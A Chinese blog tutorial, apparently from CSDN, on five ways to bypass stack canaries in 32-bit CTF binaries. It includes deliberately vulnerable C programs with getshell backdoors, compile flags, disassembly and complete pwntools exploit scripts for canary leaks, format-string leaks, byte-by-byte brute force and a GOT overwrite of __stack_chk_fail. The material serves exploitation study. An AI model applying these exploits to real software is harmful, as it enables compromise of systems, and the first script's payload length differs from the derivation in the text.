【pwn学习】Canary的各种绕过姿势

方法一 覆盖截断字符获取Canary

原理

Canary设计其低字节为\x00,本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00覆写,就可以读出Canary的值。

从上面的分析,我们可以梳理出绕过的思路:

  • 构造第一次溢出,覆写Canary低字节\x00,读取出Canary值
  • 构造第二次溢出,利用获取的Canary重新构造payload,获取shell。

下面由示例程序来进行一次实践

// test.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译生成32为的ELF文件,

$ gcc test.c -no-pie -m32 -fstack-protector -z noexecstack -o test

例题

  1. 查看安全策略

    root@kali:~/ctf/Other/pwn/CanaryTest# checksec test
    [*] '/root/ctf/Other/pwn/CanaryTest/test'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    可以看到开启了NX和Canary

  2. 查看可利用的函数和方法

    利用radare2静态分析,发现可以利用的函数getshell()直接返回shell。

    [0x08049237]> afl
    ...
    0x080491b2    1 43           sym.getshell
    ...
    
  3. 查找溢出点

    sym.vuln函数中存在溢出,read可以向0x70的栈中读取0x200的内容, 之后printf会打印read读入的字符串。

    ...
    / (fcn) sym.vuln 108
    |   sym.vuln ();
    |           ; var signed int var_74h @ ebp-0x74
    |           ; var int32_t var_70h @ ebp-0x70
    |           ; var int32_t var_ch @ ebp-0xc
    |           ; var int32_t var_4h @ ebp-0x4
    |           ; CALL XREF from main @ 0x80492d4
    |           0x08049237      55             push ebp
    |           0x08049238      89e5           mov ebp, esp
    |           0x0804923a      53             push ebx
    |           0x0804923b      83ec74         sub esp, 0x74
    |           0x0804923e      e8adfeffff     call sym.__x86.get_pc_thunk.bx
    |           0x08049243      81c3bd2d0000   add ebx, 0x2dbd
    |           0x08049249      65a114000000   mov eax, dword gs:[0x14]
    |           0x0804924f      8945f4         mov dword [var_ch], eax
    |           0x08049252      31c0           xor eax, eax
    |           0x08049254      c7458c000000.  mov dword [var_74h], 0
    |       ,=< 0x0804925b      eb29           jmp 0x8049286
    |       |   ; CODE XREF from sym.vuln @ 0x804928a
    |      .--> 0x0804925d      83ec04         sub esp, 4
    |      :|   0x08049260      6800020000     push 0x200                  ; 512
    |      :|   0x08049265      8d4590         lea eax, dword [var_70h]
    |      :|   0x08049268      50             push eax
    |      :|   0x08049269      6a00           push 0
    |      :|   0x0804926b      e8d0fdffff     call sym.imp.read
    |      :|   0x08049270      83c410         add esp, 0x10
    |      :|   0x08049273      83ec0c         sub esp, 0xc
    |      :|   0x08049276      8d4590         lea eax, dword [var_70h]
    |      :|   0x08049279      50             push eax
    |      :|   0x0804927a      e8d1fdffff     call sym.imp.printf
    ...
    
  4. payload

    这题开启了的Canary,所以直接进行栈溢出肯定是不行的。

    • 构造第一次溢出,覆写Canary低字节\x00,读取出Canary值

    0x0804924f mov dword [var_ch], eax指令可以知道Canary是存入到了0xC的位置, 因此从栈顶到Canary低字节的距离应该是0x70 - 0xc,我们需要覆盖Canary的低字节,因此要额外增加一个字节,因此paylaod_1的长度应为0x70 - 0xc + 0x1.

    payload_1 = b'a' * (0x70 - 0xc + 0x1) 
    

    而canary就是0x70-0xC= 0x64开始的四个字节,因为最低字节已经被覆写,且默认为\x00,因此只要获取0x65,0x66,0x67三个字节的值,再拼接一个\x00就可以得到Canary了

    • 构造第二次溢出,利用泄露的canary进行栈溢出.

    栈顶到ebp的距离是0x70,Canary到ebp的距离是0xc,因此覆盖Canary之后,还要额外增加0x8的字节,再加上ebp本身长度0x4,所以要额外增加0xC的字节内容。

    payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)
    
  5. write up

    from pwn import *
    context.log_level = 'debug'
    
    conn = process('./test')
    
    getshell = 0x080491b2
    conn.recvuntil('Hello Hacker!\n')
    
    # 第一次溢出
    payload_1 = b'a' * (0x70 - 0xc)
    conn.send(payload_1)
    recvbytes = conn.recv()
    # 获取canary
    canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00'))
    print(f'Canary: {hex(canary)}')
    # 第二次溢出
    payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
    conn.send(payload_2)
    conn.recv()
    conn.interactive()
    

方法二 利用格式化字符串漏洞获取Canary

原理

格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,从而进行栈溢出。

例题

还以方法一中的题目为例。

在vuln函数中,printf函数直接打印了read读取的用户输入的内容,因此我们可以通过输入特殊的payload来利用printf泄露栈中的内容。

如何确定canary的位置呢?

  1. 首先确认当前输入的文本在栈中的位置.

    构造payload等于aaaa+n个%x-,然后观察输出,直到输出中包含61616161,即4个a的ascii码。如下所示:

    root@kali:~/ctf/Other/pwn/CanaryTest# ./test
    Hello Hacker!
    aaaa%x-%x-%x-%x-%x-%x-%x-%x-
    aaaaffeea598-200-8049243-f7f05d20-0-61616161-252d7825-78252d78-
    

    数出61616161出现的位置,这里出现在栈中第6个位置,对应第6个%x

  2. 从上一题我们知道从栈顶到canary的距离是0x70-0xc,而printf中的一个%x会输出4个字节,因此间隔了(0x70-0xC)/4=25%x,因此从第6个%x开始,再输出25个%x就是canary的值

payload_1 = b'%x-' * ( 6 + 25)

而canary就是收到的字节中最后一组%x-对应的内容

最后和上一题一样,第二次进行溢出获取shell

payload_2 = b'a' * (0x70 - 0xc) + p32(Canary) + b'a' * 0xc + p32(getshell)

write up

from pwn import *
context.log_level = 'debug'

conn = process('./test')

getshell = 0x080491b2
conn.recvuntil('Hello Hacker!\n')

# 第一次溢出
payload_1 = b'%x-' * ( 6 + 25)
conn.send(payload_1)
recvbytes = conn.recv()

# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')
# 第二次溢出
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

方法三 逐字节爆破

原理

  • 每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。
  • 爆破次数:对于32位ELF,低字节固定是\x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是256,因此3个字节的逐个爆破总次数是256+256+256=768次

例题

在之前例题的基础上稍作变动,

// test2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>  
#include <sys/wait.h>

void getshell(void)
{
    system("/bin/sh");
}

void init(void)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}

void vuln(void)
{
    char buf[100];
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0x200);
    printf("%s\n", buf);
}
int main(void)
{
    init();
    while (1)
    {
        printf("Hello Hacker!\n");
        if (fork()) //father
        {
            wait(NULL);
        }
        else //child
        {
            vuln();
            exit(0);
        }
    }

    return 0;
}

编译

$ gcc test2.c -no-pie -m32 -fstack-protector -z noexecstack -o test2
  1. 查看安全策略。与例题一类似

    [*] '/root/ctf/Other/pwn/CanaryTest/test2'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    
  2. 静态分析

    对于fork函数,目前不太懂,不过不影响目前解题,留到以后再学习。

    fork()

    溢出点还是在sym.vuln函数,和之前一样。

    题外话:puts(buf)printf("%s\n", buf)

    注意到在c代码中我们使用的是printf("%s\n", buf),但是编译后发现汇编代码中调用的却是call sym.imp.puts。这是为什么呢?

    puts函数是输出字符串并且在字符串结尾添加一个换行符,而当printf的format参数为%s\n时,与puts的结果是一样的 ,因此编译器在优化的时候选择了使用puts而不是printf

  3. payload

    首先通过爆破获取Canary

    canary = b'\x00'
    for i in range(3):
      for b in range(0, 256):
        payload = b'a' * (0x70 - 0xC) + canary + bytes(b)
        # 下面是伪代码
    		if (recv没报错):
    			canary += bytes(b)
    			break
    

    获取canary后,获取shell

    payload = b'a' * (0x70 - 0xC) + p32(canary) + b'a' * 0xC + p32(getshell)
    
  4. write up

    from pwn import *
    import re
    import time
    
    #context.log_level = 'debug'
    
    conn = process('./test2')
    
    getshell = 0x080491f2
    
    canary = b'\x00'
    for i in range(3):
      for j in range(0, 256):
        #conn.recvuntil(b'Hello Hacker!')
        payload = b'a' * (0x70 - 0xC) + canary + p8(j)
        conn.send(payload)
        time.sleep(0.01)
        res = conn.recv()
        if ( b"stack smashing detected" not in res):
            print(f'the {i} is {hex(j)}')
            canary += p8(j)
            break
      assert(len(canary) == i+2) 
            
    print(f'Canary : {hex(u32(canary))}')
    
    # 第二次溢出
    payload_2 = b'a' * (0x70 - 0xc) + canary + b'a' * 0xc + p32(getshell)
    conn.send(payload_2)
    conn.recv()
    conn.interactive()
    

    运行后,如果没有报错,则成功获取shell,如下所示。频繁报错的话可以将时间间隔延长

    root@kali:~/ctf/Other/pwn/CanaryTest# python3 exp2.py 
    [+] Starting local process './test2': pid 81149
    the 0 is 0x71
    the 1 is 0xec
    the 2 is 0xf7
    Canary : 0xf7ec7100
    [*] Switching to interactive mode
    $ ls
    core  exp1_1.py  exp1_2.py  exp2.py  test  test2  test2.c  test.c
    

方法四 SSP泄露

这部分内容还有诸多不解,待进一步学习。

https://www.anquanke.com/post/id/177832#h2-3

https://blog.csdn.net/chennbnbnb/article/details/103968714

方法五 劫持__stack_chk_fail函数

原理

在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

例题

以下面为例

// test3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void getshell(void)
{
    system("/bin/sh");
}
int main(int argc, char *argv[])
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char buf[100];
    read(0, buf, 200);#栈溢出
    printf(buf);
    return 0;
}
  • 劫持函数需要修改got表,所以要关闭relro(RELocation Read Only)
  • 需要调用getshell函数,所以需要关闭pie(Position Indenpendent Executive)
$ gcc test3.c -m32 -fstack-protector -no-pie -z noexecstack -z norelro -o test3
  1. 查看安全策略

    [*] '/root/ctf/Other/pwn/CanaryTest/test3'
        Arch:     i386-32-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    
  2. 静态分析

    • 有个getshell后门

    • main函数中printf直接打印了用户输入的内容,存在格式化字符串漏洞,可以用来向任意地址写入数据

  3. payload

    根据之前GOT表的学习,我们知道GOT表中存储的是函数的实际地址,如果把__stack_chk_fail函数的got表地址替换为getshell的地址,在canary出错的情况下,调用__stack_chk_fail时就会直接获取到shell。

    stack_chk_fail_got = elf.got['__stack_chk_fail']
    getshell = elf.sym['getshell'] # 0x080491a2
    

    这里利用pwntools中的fmtstr_payload()可以方便的进行地址的篡改

    fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

    • offset(int): 字符串的偏移
    • writes (dict): 注入的地址和值,{target_addr : change_to, }

    第一个offset的值,可以通过手工确认

    root@kali:~/ctf/Other/pwn/CanaryTest# ./test3
    aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
    aaaaff959cf8-c8-80491e4-f7f15ae0-1-f7ee4410-ff959e24-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-
    

    61616161是第10个位置,因此offset取10

    payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
    

    还要造成一次溢出,触发__stack_chk_fail

    payload = payload.ljust(0x70, b'a')
    
  4. write up

    from pwn import *
    
    conn = process('./test3')
    elf = conn.elf
    
    stack_chk_fail_got = elf.got['__stack_chk_fail']
    getshell = elf.sym['getshell'] # 0x080491a2
    
    payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
    payload = payload.ljust(0x70, b'a')
    
    conn.send(payload)
    conn.interactive()
    
  • 17
    点赞
  • 82
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值